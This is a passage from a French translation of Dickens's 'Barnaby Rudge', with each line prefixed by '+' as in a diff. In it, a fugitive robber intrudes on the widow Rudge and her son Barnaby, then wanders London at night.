+à faire que de ne pas la mener plus loin. Peu de temps après,
+l'inconnu se coucha sur un banc pour dormir, et, lorsqu'on se
+remit à penser à lui, il avait disparu.
+
+Le lendemain soir, aussitôt que fut venue l'obscurité, il circula
+de nouveau et traversa les rues, il alla devant la maison du
+serrurier plus d'une fois mais la famille était absente et tout
+était fermé. Ce soir-là, par le pont de Londres, il arriva dans
+Southwark. Comme il enfilait une rue longue, une femme avec un
+petit panier au bras tournait pour y entrer à l'autre bout. Dès
+qu'il la vit, il se cacha sous une espèce de voûte, et se tint à
+l'écart jusqu'à ce qu'elle fût passée; alors il sortit de sa
+cachette et la suivit.
+
+Elle entra dans différentes boutiques pour y acheter diverses
+provisions de ménage, et, autour de chaque endroit où elle
+s'arrêta, il voltigea comme son mauvais génie, la suivant chaque
+fois qu'elle reparaissait. Il était près de neuf heures, et les
+rues se dégarnissaient vite de passants, lorsqu'elle retourna sur
+ses pas, sans doute pour aller au logis. Le fantôme la suivit
+encore.
+
+Elle reprit la même rue borgne où il l'avait aperçue la première
+fois; cette rue, n'ayant pas de boutiques et étant étroite, se
+trouvait extrêmement sombre. La pauvre femme y doubla le pas,
+comme si elle eût craint d'être arrêtée et dépouillée de ce
+qu'elle avait sur elle, quoiqu'elle n'eût pas grand'chose. Il
+rampa le long de l'autre côté. Eût-elle été douée de la vitesse du
+vent, il semblait que l'ombre terrible de cet homme l'eût suivie à
+la trace et réduite aux abois.
+
+Enfin la veuve, car c'était elle, atteignit sa propre porte, et,
+toute haletante, elle fit une pose pour prendre la clef dans son
+panier. La joue en feu, par suite de sa marche précipitée, et
+peut-être aussi de sa joie d'être arrivée saine et sauve au logis,
+elle se baissa pour tirer la clef, lorsque, en relevant la tête,
+elle le vit qui se tenait silencieusement auprès d'elle:
+l'apparition d'un rêve.
+
+Il lui mit la main sur la bouche, mais c'était inutile, car sa
+langue, s'attachant à son palais, ne lui laissait nul moyen de
+crier.
+
+«Voilà plusieurs soirs que je vous guette. La maison est-elle
+libre? Répondez. Y a-t-il quelqu'un chez vous?»
+
+Elle ne put répondre que par un râle dans son gosier.
+
+«Faites-moi un signe. «
+
+Elle sembla indiquer qu'il n'y avait personne chez elle. Il prit
+la clef, ouvrit la porte, déposa la malheureuse à l'intérieur, et
+ferma la porte avec soin derrière eux.
+
+
+
+
+CHAPITRE XVII.
+
+
+C'était une nuit glaciale, et dans la salle à manger de la veuve
+il n'y avait presque plus de feu. L'inconnu, son compagnon,
+l'assit sur une chaise, se baissa devant les braises à moitié
+éteintes, et, les ayant réunies et rassemblées, les éventa avec
+son chapeau. De temps en temps, il lui jetait un coup d'oeil par-
+dessus son épaule, comme pour s'assurer qu'elle demeurait
+tranquille et ne faisait aucune tentative de fuite, puis, le coup
+d'oeil jeté, il ne s'occupait plus que du feu.
+
+Ce n'était pas sans raison qu'il prenait toute cette peine, car
+ses vêtements étaient tout trempés, ses dents claquaient, et il
+frissonnait de la tête aux pieds. Il avait plu très fort durant la
+nuit précédente et quelques heures le matin, mais, à partir de
+l'après-midi, il avait fait beau. En quelque lieu qu'il eût passé
+les heures ténébreuses, son état témoignait suffisamment qu'il en
+avait passé la plus grande partie en plein air. Souillé de boue,
+ses habits saturés d'eau s'attachant à ses membres dans une
+étreinte humide, sa barbe non faite, sa figure sale, les joues
+maigres et creuses, il est douteux qu'il existât un être plus
+misérable que cet homme accroupi sur le foyer de la veuve, et
+surveillant les progrès de la flamme avec des yeux injectés de
+sang.
+
+Elle avait couvert de ses mains sa figure; il semblait qu'elle
+craignît de regarder de son côté. Ils restèrent ainsi pendant
+quelques moments en silence. Jetant derechef un coup d'oeil autour
+de lui, il demanda enfin:
+
+«Est-ce votre maison?
+
+-- C'est ma maison. Pourquoi, au nom du ciel, venez-vous
+l'attrister?
+
+-- Donnez-moi à manger et à boire, répondit il d'un ton bourru, ou
+je ferai bien pis. Je suis glacé jusqu'à la moelle des os par
+l'humidité et par la faim. Il me faut de la chaleur et de la
+nourriture, et il me les faut ici.
+
+-- C'est vous qui étiez le voleur de la route de Chigwell?
+
+-- C'était moi.
+
+-- Et presque un assassin après.
+
+-- Ce n'est pas l'intention qui a manqué. Il y a quelqu'un qui est
+arrivé sur moi en criant à tue-tête, il lui en aurait cuit s'il
+n'était pas si agile. Je lui ai lancé un coup.
+
+-- Un coup de poignard, à lui! cria la veuve, les yeux au ciel.
+Vous entendez cet homme, mon Dieu! vous l'entendez, et vous en
+êtes témoin.»
+
+Il la regarda au moment où, la tête renversée en arrière, et les
+deux mains crispées ensemble, elle prononça ces mots dans l'agonie
+de son appel à Dieu. Alors, bondissant sur ses pieds, après cette
+crise, il s'avança vers elle:
+
+«Prenez garde! cria-t-elle d'une voix qu'elle étouffait, et dont
+la fermeté l'arrêta à mi-chemin. Ne me touchez pas du bout du
+doigt, ou vous êtes perdu, perdu, vous dis-je, corps et âme.
+
+-- Écoutez-moi, répliqua-t-il en la menaçant de sa main. Moi qui
+sous la forme d'un homme mène la vie d'une bête traquée, moi qui
+dans un corps suis un esprit, un fantôme sur la terre, une chose
+qui fait reculer d'effroi toutes les créatures, excepté ces êtres
+maudits de l'autre monde qui ne me lâcheront pas; je n'ai d'autre
+crainte, en cette nuit désespérée, que celle de l'enfer où je vis
+au jour le jour. Jetez l'alarme, poussez un cri, refusez de
+m'abriter, je ne vous ferai pas de mal, mais on ne me prendra
+point vivant; et, aussi sûr que vous me menacez là à voix basse,
+je tombe mort sur ce plancher. Que le sang dont je l'arroserai
+soit sur vous et les vôtres, au nom du mauvais esprit qui tente
+les hommes pour les perdre!»
+
+À ces mots il tira de sa poitrine un pistolet, et le serra
+fortement dans sa main.
+
+«Éloigne de moi cet homme, Dieu de bonté! cria la veuve. En ta
+grâce et ta miséricorde, donne-lui une minute de repentir, et
+frappe-le de mort après.
+
+-- Il paraît que ce n'est pas son idée, dit l'autre l'envisageant:
+il est sourd. Voyons, à boire et à manger, de peur que je ne fasse
+ce que je ne peux m'empêcher de faire; et alors, tant pis pour
+vous.
+
+-- Me laisserez-vous, si je le fais? me laisserez-vous, pour ne
+plus jamais revenir?
+
+-- Je n'ai rien à vous promettre, répliqua-t-il en s'asseyant à la
+table. Rien que ceci: j'exécuterai ma menace si vous me
+trahissez.»
+
+Elle se leva enfin, et, allant à un cabinet attenant à la chambre,
+elle apporta quelques restes de viande froide et du pain, et mit
+le tout sur la table. Il demanda un grog à l'eau-de-vie, il but et
+mangea avec la voracité d'un chien de chasse affamé. Tout le temps
+qu'il fut occupé à apaiser sa faim, elle se tint dans la partie la
+plus reculée de la chambre, assise et frissonnante, sa figure
+tournée vers lui. Jamais elle ne lui tourna le dos, et quand elle
+avait à passer près de lui pour aller au buffet par exemple, et
+pour en revenir, elle ramassait les bords de ses vêtements autour
+d'elle, comme si elle eût frémi de l'idée qu'ils pussent le
+toucher même par hasard, mais, au milieu de sa frayeur, de sa
+terreur profonde, elle gardait toujours sa figure dirigée vers
+celle de son épouvantail, et surveillait chacun de ses mouvements.
+
+Son repas terminé, si l'on peut appeler repas ce qui n'était que
+la satisfaction dévorante des exigences de la faim, il approcha de
+nouveau sa chaise du feu, et, en se réchauffant devant la flamme
+qui jaillissait à présent toute brillante, il lui adressa encore
+la parole.
+
+«Je suis un paria pour lequel un toit sur sa tête est souvent une
+jouissance extraordinaire, et les aliments que rejetterait un
+mendiant une nourriture délicate. Vous vivez ici dans l'aisance.
+Êtes-vous seule?
+
+-- Je ne suis pas seule, répondit-elle avec un effort.
+
+-- Qui est ce donc qui demeure avec vous?
+
+-- Quelqu'un... ça ne vous regarde pas. Vous ferez bien de partir
+pour qu'il ne vous trouve pas là. Qu'attendez-vous?
+
+-- Que je sois réchauffé, répliqua-t-il en étendant ses mains
+devant le feu. Je me réchauffe. Vous êtes riche peut être?
+
+-- Oh! oui, dit elle d'une voix faible. Très riche. Il n'y a pas
+de doute, je suis très riche.
+
+-- Du moins vous n'êtes pas sans le sou. Vous avez quelque argent,
+vous faisiez des emplettes ce soir.
+
+-- Il me reste peu de chose. Quelques schellings.
+
+-- Donnez-moi votre bourse. Vous l'aviez dans votre main à la
+porte. Donnez-la-moi.»
+
+Elle alla vers la table, et mit sa bourse dessus. Il étendit son
+bras sur la table, prit la bourse, et en compta le contenu dans la
+main. Comme il était à compter, elle écouta un moment, et s'élança
+vers lui.
+
+«Prenez ce qu'il y a, prenez tout, prenez plus s'il y avait plus,
+mais allez-vous-en avant qu'il soit trop tard. Je viens d'entendre
+dehors un pas étrange que je connais bien. Ce pas va revenir tout
+de suite. Allez-vous-en.
+
+-- Que voulez-vous dire?
+
+-- Ne vous arrêtez pas à le demander; je ne vous répondrais pas.
+Quelque horreur que j'aie à vous toucher, je vous traînerais à la
+porte, si j'en avais la force, plutôt que de vous laisser perdre
+un instant. Misérable, fuyez de ce lieu.
+
+-- S'il y a des espions dehors, je suis plus en sûreté ici,
+répliqua l'homme debout et effaré. Je resterai ici, et je ne
+fuirai pas que le danger ne soit passé.
+
+-- Il est trop tard! cria la veuve qui avait écouté ce pas, sans
+faire attention à ce qu'il disait; entendez-vous ce pas sur le
+sol? Est-ce qu'il ne vous fait pas trembler? C'est mon fils, mon
+fils idiot!»
+
+Comme elle disait cela d'un air égaré, on frappa pesamment à la
+porte. Ils s'entre-regardèrent elle et lui.
+
+«Faites-le entrer, dit l'homme d'une voix rauque; je le crains
+moins que la nuit noire, sans asile. Le voilà qui frappe encore.
+Faites-le entrer.
+
+-- L'effroi de cette heure, répliqua la veuve, a été sur moi toute
+ma vie. Je n'ouvrirai pas. Le crime tombera sur lui, si vous vous
+trouvez face à face. Mon pauvre fils a la raison brûlée dans sa
+fleur! Vous tous, bons anges qui savez la vérité, exaucez la
+prière d'une mère, et préservez mon fils de reconnaître cet homme!
+
+-- Il agite avec bruit les volets! cria l'homme. Il vous appelle.
+Cette voix, ce cri! c'est lui qui m'a saisi à bras-le-corps sur la
+route. Est-ce lui?»
+
+Elle s'était affaissée sur ses genoux, et elle demeura
+agenouillée, remuant ses lèvres sans proférer aucun son. Comme il
+la considérait, incertain de ce qu'il devait faire pour
+s'éclipser, les volets s'ouvrirent tout grands. Attraper un
+couteau sur la table, lui donner pour gaine la large manche de son
+habit, se cacher dans le cabinet, tout cela fut fait avec la
+vitesse de l'éclair, et déjà Barnabé, tapant sur la vitre, avait
+haussé le châssis avec une joie triomphante.
+
+«Mais qui peut donc me laisser dehors avec Grip? cria-t-il en
+fourrant sa tête à l'intérieur et en regardant fixement autour de
+la chambre. Êtes-vous là, mère? Comme vous nous laissez longtemps
+loin de la lumière et du feu!»
+
+Elle balbutia quelque excuse et lui tendit sa main. Mais Barnabé,
+sans aide, s'élança légèrement à l'intérieur, et, se jetant au cou
+de la veuve, la baisa plus de cent fois.
+
+«Nous avons été aux champs, mère, sautant les fossés, grimpant au
+travers des haies, descendant à la course des berges abruptes,
+toujours en avant, plus loin, et d'un bon pas. Le vent soufflait,
+les joncs et les jeunes plantes s'inclinaient et pliaient sous
+lui, de peur qu'il ne leur fît du mal, les lâches, et Grip, ha,
+ha, ha! le brave Grip, qui ne s'inquiète de rien, et qui, lorsque
+le vent le roule dans la poussière, se retourne vaillamment pour
+le mordre, Grip, le vaillant Grip, s'est querellé avec chaque
+brindille qui s'inclinait de son côté, pensant, m'a-t-il dit,
+qu'elle se moquait de lui, et il vous l'a houspillée comme un vrai
+bouledogue. Ha, ha, ha!»
+
+Le corbeau, dans son petit panier au dos de son maître, entendant
+répéter fréquemment son nom d'une voix accentuée par la plus vive
+allégresse, exprima sa sympathie en chantant comme un coq, et
+parcourant ses diverses phases de conversation avec une telle
+rapidité et une telle variété de sons rauques, qu'ils
+retentissaient comme les murmures d'une multitude.
+
+«Et puis il faut voir comme il prend soin de moi, dit Barnabé. Ah!
+oui, il a bien soin de moi, mère! Il veille tout le temps que je
+dors; et, lorsque je ferme les yeux pour lui faire croire que je
+sommeille, il répète doucement quelque leçon nouvelle, mais sans
+me perdre des yeux jamais; et s'il me voit rire, si peu que ce
+soit, tout de suite il s'arrête, pour faire une surprise quand il
+sera bien sûr de son affaire.»
+
+Le corbeau chanta derechef, avec une sorte de transport qui disait
+clairement: «Il est certain que je reconnais là quelques traits de
+mon caractère, je m'en vante.» Dans l'intervalle, Barnabé ferma
+bien la fenêtre, et allant à la cheminée, il se préparait à
+s'asseoir, la figure tournée vers le cabinet. Mais sa mère l'en
+empêcha, en se hâtant de prendre elle-même cette place, et lui
+faisant signe de prendre l'autre.
+
+«Comme vous êtes pâle ce soir! dit Barnabé en s'appuyant sur son
+bâton. Ce n'est pas bien, Grip; nous lui avons causé de
+l'inquiétude!»
+
+De l'inquiétude, oh! oui, elle en éprouvait, elle en était navrée
+dans le coeur! L'homme aux écoutes tenait entr'ouverte avec sa
+main la porte de sa cachette et surveillait de près le fils de la
+veuve. Grip, attentif à toutes les choses dont son maître ne
+s'apercevait pas, sortait sa tête de son petit panier, et
+répondait à l'espionnage de l'inconnu en le surveillant
+extrêmement de son oeil étincelant.
+
+«Il bat des ailes, dit Barnabé en se tournant si vite que sa vue
+faillit saisir cette ombre qui se retirait, cette porte qui se
+refermait, comme s'il y avait ici des étrangers; mais Grip est
+trop raisonnable pour s'imaginer cela. Saute donc!
+
+Acceptant cette invitation avec un clignotement qui lui était
+particulier, l'oiseau sautilla sur l'épaule de son maître, de là
+sur sa main étendue, et de là enfin sur le plancher. Barnabé se
+débarrassa des courroies du petit panier et le déposa par terre
+dans un coin, le couvercle ouvert, le premier soin de Grip fut de
+faire tomber ce couvercle le plus vite possible, et ensuite de se
+percher dessus: croyant, sans aucun doute, qu'il avait rendu tout
+à fait impraticable à la puissance d'un mortel l'opération de
+l'enfermer après, il imita, dans son triomphe, le glouglou d'un
+grand nombre de bouteilles débouchées, et poussa autant de
+hourras.
+
+«Mère! dit Barnabé en mettant de côté son chapeau et son bâton, et
+retournant s'asseoir sur sa chaise je vais vous dire où nous avons
+été aujourd'hui et ce que nous avons fait, voulez-vous?»
+
+Elle prit sa main dans les siennes, et l'y tenant, elle donna d'un
+signe de tête le consentement qu'elle n'avait pas la force
+d'articuler.
+
+«Vous n'en direz rien, il ne le faut pas, dit Barnabé en levant
+son doigt: car c'est un secret, voyez-vous, qui n'est connu que de
+moi, de Grip et de Hugh. Nous avions le chien avec nous, mais il
+ne vaut pas Grip, malgré sa finesse, et il ne s'en doute seulement
+pas. Pourquoi regardez-vous ainsi derrière moi?
+
+-- Ai-je regardé? répondit-elle d'une voix faible. C'est bien sans
+le savoir. Rapprochez-vous de moi.
+
+-- Vous êtes effrayée! dit Barnabé en changeant de couleur. Mère,
+vous ne venez pas de voir?
+
+-- Voir quoi?
+
+-- Il n'y en a pas par ici; il n'y en a pas du tout, n'est-ce pas?
+répondit-il avec un chuchotement; et il se rapprocha d'elle, et il
+serra d'une main la marque empreinte sur son poignet. J'ai peur
+que ça n'y soit, quelque part. Vous me faites dresser les cheveux
+sur la tête, vous me donnez la chair de poule. Pourquoi regardez-
+vous de la sorte? ça serait-il dans la salle comme je l'ai vu en
+mes rêves, éclaboussant le plafond et les murs de rouge? Dites-
+moi. Ça y est-il?»
+
+Il eut un accès de frisson en faisant cette demande, et couvrant
+de ses mains la lumière, il resta assis, tremblant de tous ses
+membres, jusqu'à ce que la crise fût passée. Quelque temps après,
+il leva la tête et regarda autour de lui.
+
+«Ça a-t-il disparu?
+
+-- Il n'y a rien eu ici, répliqua sa mère en le calmant. Rien en
+vérité, cher Barnabé, regardez! vous voyez qu'il n'y a que vous et
+moi.»
+
+Il la considéra d'un oeil distrait, et se rassurant par degrés, il
+jeta un fol éclat de rire.
+
+«Mais voyons, dit-il d'un air pensif, il me semble que nous...
+Était-ce vous et moi? où avons-nous été?
+
+-- Nulle part ailleurs qu'ici.
+
+-- Oui, mais Hugh, et moi, dit Barnabé, c'est cela... Hugh du
+Maypole et moi, vous savez, et Grip, nous avons été à l'affût dans
+la forêt, et parmi les arbres qui bordent la route avec une
+lanterne sourde, après la tombée de la nuit, et le chien en
+laisse, une laisse prête à glisser, dès que l'homme viendrait tout
+contre.
+
+-- Quel homme?
+
+-- Le voleur; celui que les étoiles regardaient en clignotant.
+Nous l'avons attendu à partir du moment où il fait noir pendant
+plusieurs des nuits dernières, et nous l'aurons. Je le
+reconnaîtrais entre mille, mère, voyez donc, voici l'homme tel
+qu'il est. Regardez!»
+
+Il tortilla son mouchoir autour de son cou, enfonça son chapeau
+sur ses sourcils, s'enveloppa de son habit, et se tint debout
+devant elle. C'était une copie si parfaite de l'original, que le
+sombre personnage qui l'examinait derrière par la porte
+entr'ouverte aurait pu passer lui-même pour n'en être que l'ombre.
+«Ha! Ha! ha! nous l'aurons, cria-t-il en dépouillant cette
+ressemblance aussi promptement qu'il l'avait prise, vous le
+verrez, mère, pieds et poings liés, on l'amènera à Londres, sanglé
+sur la selle d'un cheval. Vous entendrez parler de lui au gibet de
+Tyburn, si nous avons de la chance. C'est ce que dit Hugh. Eh!
+bien, vous voilà redevenue pâle et tremblante. Mais pourquoi donc
+regardez-vous ainsi derrière moi?
+
+-- Ce n'est rien, répondit elle, je ne suis pas tout à fait à mon
+aise. Allez vous mettre au lit, cher enfant, et laissez-moi ici.
+
+-- Au lit! répliqua-t-il, je n'aime pas le lit. J'aime à me
+coucher devant le feu, et à guetter les images qui s'échappent des
+charbons enflammés, les rivières, les collines, les vallons
+qu'empourpre un large soleil couchant et des figures
+extraordinaires. J'ai faim d'ailleurs, et Grip n'a rien mangé
+depuis plus de midi, donnez-nous à souper. Grip! on soupe, mon
+garçon!»
+
+Le corbeau battit des ailes, et croassant pour montrer qu'il était
+satisfait il sautilla aux pieds de son maître, et là il resta le
+bec ouvert, prêt à happer tels morceaux de viande que celui-ci lui
+jetterait. Il en reçut une vingtaine environ, sans que la rapidité
+avec laquelle ils se succédèrent troublât aucunement son attitude.
+
+-- C'est tout, dit Barnabé.
+
+-- Encore! cria Grip. Encore!»
+
+Mais comme il reconnut qu'il n'avait positivement pas à en espérer
+davantage, il s'éloigna avec sa provision, et dégorgeant les
+morceaux un à un de son jabot, il alla les cacher dans divers
+coins, prenant un soin particulier, toutefois, d'éviter le
+cabinet, comme s'il doutait que l'homme caché pût vaincre sa
+gourmandise et résister à la tentation. Quand il eut terminé ces
+arrangements, il fit un tour ou deux au travers de la salle en
+s'étudiant à feindre que rien ne le préoccupait (mais ayant un
+oeil fixé sur son trésor pendant tout ce temps-là) et après, mais
+pas tout de suite, il commença à le tirer des cachettes, morceau
+par morceau, et à le manger avec la plus grande volupté.
+
+Barnabé, pour sa part, ayant pressé sa mère de souper, mais en
+vain, soupa comme Grip, de bon coeur. Une fois, dans le cours de
+son repas, il lui fallut encore du pain, et il se leva pour en
+prendre dans le cabinet. Elle se précipita au devant, l'empêcha
+d'y entrer, et appelant à soi tout son courage, elle entra dans le
+réduit, et rapporta le pain elle-même.
+
+«Mère, dit Barnabé en la regardant fixement lorsqu'elle s'assit
+près de lui à son retour du cabinet, c'est aujourd'hui
+l'anniversaire de ma naissance.
+
+-- Aujourd'hui! répondit-elle; ne vous souvenez vous pas que
+c'était il n'y a pas plus de huit jours, et que l'été, l'automne,
+l'hiver devront s'écouler avant qu'il revienne?
+
+-- Je me souviens que c'était comme cela jusqu'à présent, dit
+Barnabé, mais je crois que, malgré tout, c'est aujourd'hui aussi
+l'anniversaire de ma naissance.» Elle lui demanda pourquoi. «Je
+vais vous dire pourquoi, dit-il. Je vous ai toujours vue, je ne
+vous l'ai pas laissé remarquer, mais rien n'est plus vrai,
+devenir, le soir de ce jour-là, d'une extrême tristesse, je vous
+ai vue pleurer quand Grip et moi nous étions fort joyeux, et avoir
+l'air effrayé sans aucun motif, et j'ai touché votre main et j'ai
+senti qu'elle était froide comme elle l'est à présent. Une fois,
+mère (c'était aussi un des anniversaires de ma naissance), Grip et
+moi pensâmes à cette tristesse après être montés nous coucher, et
+passé minuit, au moment où sonnait une heure, nous descendîmes à
+votre porte pour voir si vous n'étiez pas malade, vous étiez à
+genoux. Je ne me souviens pas de ce que vous disiez, Grip, qu'est-
+ce que nous avons entendu dire cette nuit-là?
+
+-- Je suis un démon! répliqua promptement le corbeau.
+
+-- Non, non, dit Barnabé, mais vous disiez quelque chose dans une
+prière, et quand vous vous relevâtes et fîtes plusieurs pas autour
+de la chambre, vous aviez (comme vous l'avez toujours eue depuis,
+mère, quand approche la nuit de l'anniversaire de ma naissance)
+juste la physionomie que vous avez à présent. J'ai découvert cela,
+vous voyez, quoique je sois un insensé. Je dis donc que vous êtes
+dans l'erreur, et ce doit être aujourd'hui l'anniversaire de ma
+naissance, mon anniversaire de naissance, Grip!»
+
+L'oiseau accueillit cette communication avec de tels croassements
+qu'un coq, doué de plus d'intelligence que tous ceux de son
+espèce, n'annoncerait pas le plus long jour par un chant plus
+soutenu. Puis, après avoir bien réfléchi pour dégoiser, en guise
+de toast, la phrase qu'il jugeait la plus convenable pour fêter un
+anniversaire de naissance, il cria plusieurs fois: «N'aie pas
+peur!» et il accentua ces mots en battant des ailes.
+
+La veuve essaya de paraître attacher peu d'importance à la
+remarque de Barnabé, et chercha à reporter l'attention de son fils
+sur quelque autre sujet, tâche toujours facile, elle le savait
+trop bien. Son souper fini, Barnabé, sans tenir compte des
+instances de sa mère, s'étendit sur le paillasson devant le feu;
+Grip se percha sur la jambe de son maître, et partagea son temps
+entre des assoupissements causés par l'agréable chaleur, et des
+efforts (comme il le parut bientôt) pour se rappeler un nouvel
+exercice qu'il avait étudié toute la journée.
+
+Un long et profond silence suivit, silence interrompu seulement
+lorsque changeait de position Barnabé, dont les yeux, encore tout
+grands ouverts, regardaient fixement le feu; ou lorsqu'il y avait
+quelque effort mnémonique[18] de la part de Grip, qui criait de
+temps en temps à voix basse: «Polly mettez le bouilli...» et
+s'arrêtait court, oubliant le reste et faisant un nouveau somme.
+
+Après un long intervalle, la respiration de Barnabé devint plus
+profonde et plus régulière, et ses yeux finirent par se fermer.
+Mais ce n'était pas le compte de l'esprit inquiet du corbeau.
+«Polly mettez la bouill...» cria Grip, et son maître fut encore
+réveillé cette fois.
+
+Enfin Barnabé s'endormit solidement, et l'oiseau, avec son bec
+affaissé sur sa poitrine, qui prit la forme bouffante d'une
+confortable bedaine d'alderman[19], et ses yeux brillants qui
+devenaient de plus en plus petits, parut véritablement
+s'abandonner aussi au repos. De temps en temps seulement il
+marmottait encore d'une voix sépulcrale: «Polly, mettez la
+bouill...» comme quelqu'un de très assoupi, et plutôt comme un
+homme ivre que comme un corbeau méditatif.
+
+La veuve, respirant à peine de peur de les réveiller, se leva de
+son siège. L'homme se coula hors du cabinet et éteignit la
+chandelle.
+
+«...Oire au feu! cria Grip, frappé d'une idée subite, et très
+excité; ...oire au feu! Hourra! Polly, mettez la bouilloire au
+feu, nous prendrons tous du thé. Polly, mettez la bouilloire au
+feu, nous prendrons tous du thé. Hourra! hourra! hourra! Je suis
+un démon, je suis un démon, je suis... La bouilloire! Allons,
+courage. N'aie pas peur. Coa, coa, coa! Je suis un démon, je
+suis... La bouilloire... Je suis... Polly, mettez la bouilloire au
+feu, nous prendrons tous du thé.»
+
+Ils restèrent enracinés au sol, comme si c'eût été une voix
+sortant d'un tombeau.
+
+Mais ceci même ne put pas réveiller le dormeur. Il se retourna du
+côté du feu, son bras tomba sur le sol, et sa tête s'abattit
+lourdement sur son bras. La veuve et son affreux visiteur
+regardèrent Barnabé un moment et se regardèrent l'un l'autre, puis
+elle lui montra la porte.
+
+«Un instant, dit-il tout bas. Vous instruisez bien votre fils!
+
+-- Je ne lui ai rien enseigné de ce que vous avez entendu ce soir.
+Partez à l'instant, ou je vais le réveiller.
+
+-- Libre à vous de le faire. Voulez-vous que je le réveille!
+
+-- Vous n'oserez pas.
+
+-- J'oserai faire n'importe quoi, je vous l'ai dit. Il me connaît
+bien, ce me semble. Au moins je veux aussi le connaître.
+
+-- Voudriez-vous le tuer dans son sommeil? cria la veuve en se
+jetant entre eux.
+
+-- Femme, répliqua-t-il en desserrant à peine les dents, comme il
+lui faisait signe de s'écarter, je désire le voir de plus près, je
+le veux. Si vous tenez à ce que l'un de nous tue l'autre,
+réveillez-le.»
+
+Cela dit, il avança, et, se penchant sur le corps étendu, il
+tourna doucement la tête en arrière et regarda en face la figure.
+La lueur du foyer donnait en plein sur elle, et chaque trait s'y
+révélait d'une manière distincte. Il contempla cette figure un
+moment, puis, se redressant avec précipitation:
+
+«Rappelez-vous bien ceci, chuchota-t-il à l'oreille de la veuve.
+Par lui, dont l'existence a été ignorée de moi jusqu'à ce soir, je
+vous tiens en ma puissance. Prenez garde à vos procédés envers
+moi. Prenez-y garde. Je suis dénué de tout, je meurs de faim,
+j'erre incessamment sur la terre. Je puis tirer de vous une sûre
+et lente vengeance.
+
+-- Il y a dans vos paroles quelque sens horrible que je ne saurais
+approfondir.
+
+-- Le sens en est clair, et je vois que vous l'approfondissez
+autant qu'il faut. Voilà bien des années que vous pressentiez
+cela; vous me l'avez presque dit. Je vous laisse réfléchir là-
+dessus. N'oubliez pas mon avertissement.»
+
+Il lui montra du doigt, comme il la quittait, Barnabé endormi, et,
+se retirant à la dérobée, il gagna la rue. Elle tomba à genoux
+auprès du dormeur, et y resta semblable à une femme pétrifiée,
+jusqu'à ce que les larmes, gelées si longtemps par la frayeur,
+vinssent lui procurer un tendre soulagement.
+
+«Ô toi! cria-t-elle, qui m'as enseigné un si profond amour pour
+cet unique reste des promesses d'une vie heureuse, pour ce fils
+dont l'affliction même est pour moi la source de mon unique
+consolation, quand je vois en lui un enfant plein de confiance en
+moi, plein d'amour pour moi, sans devenir jamais ni vieux ni froid
+de coeur; condamné, dans la force de l'âge viril, comme lorsqu'il
+était en son berceau, à avoir besoin de ma sollicitude maternelle
+et de mon dévouement, daigne le protéger durant sa marche obscure
+au travers de ce triste monde, ou c'en est fait de lui, et mon
+pauvre coeur est brisé!»
+
+
+
+
+CHAPITRE XVIII.
+
+
+Glissant le long des rues silencieuses et choisissant, pour y
+diriger sa course, les plus sombres et les plus tristes, l'homme
+qui avait quitté la maison de la veuve traversa le pont de
+Londres, et, une fois dans la Cité, plongea au sein des places
+écartées, des ruelles et des cours, entre Cornhill et Smithfield;
+il n'avait pas d'autre but que de se perdre parmi leurs détours,
+et de déjouer toute poursuite, si quelqu'un s'attachait à ses pas.
+
+C'était au plus fort de la nuit, et tout était tranquille. De
+temps en temps les pas d'un watchman assoupi résonnaient sur le
+trottoir, ou l'allumeur de réverbères, dans ses rondes, passait
+comme l'éclair, en laissant derrière lui une petite traînée de
+fumée qui se mêlait à des flammèches rouges de sa torche ardente.
+L'homme se cachait même de ces compagnons accidentels de sa course
+solitaire, et se repliant sous quelque voûte ou quelque entrée de
+porte jusqu'à ce qu'ils fussent passés, il sortait de là quand ils
+s'étaient éloignés et continuait d'errer seul.
+
+Être seul et sans abri en rase campagne, entendre le vent gémir,
+guetter le jour pendant toute une longue nuit fatigante, écouter
+tomber la pluie, et se tapir, pour avoir chaud, sous la retraite
+abritée de quelque vieille grange ou de quelque meule, ou dans le
+creux d'un arbre, c'est une horrible chose, mais moins horrible
+que d'errer çà et là où se trouvent des abris, des lits et des
+dormeurs par milliers créature sans asile et qu'on rejette. Fouler
+d'heure en heure les pavés retentissants en comptant la monotone
+sonnerie des horloges, observer les lumières qui scintillent aux
+fenêtres des chambres, penser quel heureux oubli de la vie
+renferme chaque maison, se dire qu'il y a là des enfants roulés
+ensemble dans leurs lits, que les jeunes, les vieux, les pauvres,
+les riches, jouissent tous là de l'égalité devant la sommeil, et
+goûtent tous le repos, n'avoir rien de commun avec le monde
+endormi autour de soi, pas même le sommeil, don de Dieu à toutes
+ses créatures et ne se connaître d'autre parenté que le désespoir;
+se sentir, par le misérable contraste avec toute chose de tout
+côté, plus absolument seul et plus proscrit que dans un désert
+inabordable: c'est un genre de souffrance que mainte fois les
+grandes cités roulent dans leurs flots populeux et qui ne peut
+naître que dans la solitude en pleine foule.
+
+Le malheureux homme arpenta en tous sens ces rues si longues, si
+ennuyeuses, si semblables les unes, aux autres, et souvent il jeta
+un regard attentif vers l'est, espérant voir les premiers faibles
+rais du jour, mais la nuit obstinée gardait encore le ciel en sa
+possession, et la course inquiète et incessante du rôdeur ne
+trouvait pas de repos.
+
+Une maison dans une rue écartée brillait du joyeux éclat des
+lumières: on y entendait le son de la musique et les pas des
+danseurs. Il y avait là de joyeuses voix et plus d'un éclat de
+rire. Pour se rapprocher de quelque chose qui fût éveillé et qui
+sentît la joie, il y retourna à plusieurs reprises, et plus d'un
+des gais convives qui quittèrent cette maison quand l'allégresse y
+était au comble, sentirent leur folâtre humeur réprimée en le
+voyant voltiger çà et là comme une âme en peine. À la fin ils se
+retirèrent tous jusqu'au dernier, et alors la maison fut
+complètement close, et devint à son tour aussi morne et
+silencieuse que le reste.
+
+Sa course errante l'amena une fois à la prison de la Cité. Au lieu
+de s'en éloigner à la hâte comme d'un endroit de mauvais augure,
+d'un endroit qu'il avait sujet d'éviter, il s'assit sur quelques
+degrés qui étaient tout près, et, appuyant son menton sur sa main,
+il en considéra les murailles âpres et rébarbatives, comme si
+elles promettaient un refuge à ses yeux harassés. Il fit et refit
+le tour de cet endroit, il y revint, il s'y rassit. Il recommença,
+et une fois, avec un mouvement précipité, il traversa pour aller
+où veillaient quelques hommes dans la loge du portier de la
+prison, et il eut le pied sur les marches. Mais ayant regardé
+autour de lui, il vit que le jour commençait à poindre, et
+abandonnant son dessein, il tourna le dos et s'enfuit.
+
+Il se retrouva bientôt dans le quartier qu'il avait parcouru
+naguère, et l'arpenta en tous sens, comme il avait fait encore
+avant. Il descendait une rue infime, lorsque d'une allée tout près
+de lui s'élevèrent de bachiques acclamations, et sortirent
